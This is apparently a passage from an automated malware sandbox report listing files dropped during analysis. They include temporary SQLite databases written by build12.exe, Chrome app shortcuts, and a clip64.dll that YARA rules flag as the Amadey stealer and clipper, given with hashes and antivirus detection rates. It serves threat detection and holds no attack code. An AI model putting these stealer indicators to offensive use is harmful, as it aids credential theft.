SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCBEE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCDF5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCE05.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCE06.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCE15.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCE45.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5FA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD61A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD839.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD849.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD853.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD86A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 00:29:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9802036404605685
Encrypted:	false
SSDEEP:	48:8HdpTxpNHbidAKZdA19ehwiZUklqehJy+3:8b7DCy
MD5:	A0006DD67AFEED2A9EBEE1DB724970C5
SHA1:	94D1A4FCC55F66BC64FC226C7186C49BE81000F4
SHA-256:	037BF298C657B0E5285EF93B61D298BEEE86F8514F5EF2BA66092FAEBE380178
SHA-512:	462D116259454DAF86E041D0733F7707718F0F428C87A725BCF92ED5EF4931B7D3CD66AD26AB5434AB82059B5188304FE3FB7D7EDF23B0FFC55A49F5EFEA1DF7
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hZ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 00:29:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9937518083094035
Encrypted:	false
SSDEEP:	48:8KdpTxpNHbidAKZdA1weh/iZUkAQkqehyy+2:8o7x9Qjy
MD5:	A091690B7687A8E1CED0BC4CB0124CC5
SHA1:	1BB2177F10084EAB7033D784C0EA312EBC4FDDA5
SHA-256:	0BEB85F900BDED86D09046FBDE171032AD16D549FD0267756FF2B855E4F01CB3
SHA-512:	5253ED2FC84D1B50288AD467CD6A22A7AE1B209F5B6A4D7323D4D0E9448A9105543E18581C672FF7DCBFF6C2CA46FEAFBCE8D06EA0B1B4AEC6063060B874FF61
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hZ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006248144561485
Encrypted:	false
SSDEEP:	48:8xydpTxpsHbidAKZdA14tseh7sFiZUkmgqeh7sky+BX:8xQ7ynmy
MD5:	23A7023EE9C3A64C983E887CB8457C6D
SHA1:	F27A403757FC01EDD5CC013265BCB68B3E87D144
SHA-256:	D4EFC43BA888EE47C9047CCB9529F03B61C99680E4BFEF328AA0A0D4AAB9FD6D
SHA-512:	CB987CDE967E47CA0A38953A885003E1B82ED84F9F05EB4A43022C68A8F2E128C9DCF1263ADB1F882A947077480F7084A77B40F8CBA8CD5F27BD7E6A6E7EA2E5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hZ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 00:29:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9909222948315253
Encrypted:	false
SSDEEP:	48:8odpTxpNHbidAKZdA1vehDiZUkwqeh+y+R:8e7y8y
MD5:	A30DD319B16171964F31D8C3C3759314
SHA1:	CFCF154147A8E20F81C8C0B759DE504214B40DBD
SHA-256:	3FF4E05704B30854E16F9F1BBA24C876FAC0762A2337C5FF7246853A858610FB
SHA-512:	900A59A3B8A9A2D3BAACB913FAE258E92A3981D010EC69F47818384148AFFF201EFB8F4B740A218A44F48C886A59CC37EC7063D0CFF260916EEDE196C488AB4D
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....g......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hZ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 00:29:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.983864480051781
Encrypted:	false
SSDEEP:	48:8rdpTxpNHbidAKZdA1hehBiZUk1W1qeh4y+C:8v7C9Yy
MD5:	17DF014CD2C48DF90CE0C2191966532F
SHA1:	591DE1AA94BE135611F62C5379FD4497A26CF2C4
SHA-256:	F5ADC30964850F4FBD0D12407BA612951A6AAE0BC9144385FAB0D337A59FF441
SHA-512:	55A06C0D9E923D6A963630286185D19F42D35D4617769768FEEBFB1901619370E564D1A3694286C6F5D6D1DBD261FA3768818048AC4722C4CC6F9C097D156497
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....;.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hZ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 00:29:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9983661503885397
Encrypted:	false
SSDEEP:	48:8wdpTxpNHbidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8m78T/TbxWOvTbmy7T
MD5:	1721FCEF73270FB994450587DBF92C88
SHA1:	71C5599092B7029DF8C208FB5A246DBB40AA686E
SHA-256:	27757CB1B9CBB63872BBA383962877AD33FD78A47EE2444F69B8A15731759A31
SHA-512:	0499B8B74C64942DF46D486F986B20FCC5A05E492801288834ED4FFBF640BC13D3BB55A2830946FE95630F33A885E6E5B0050BF2042A9F4793000830BF5E3511
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....X......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............hZ......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 82% Antivirus: Virustotal, Detection: 80%, Browse
Reputation:	unknown
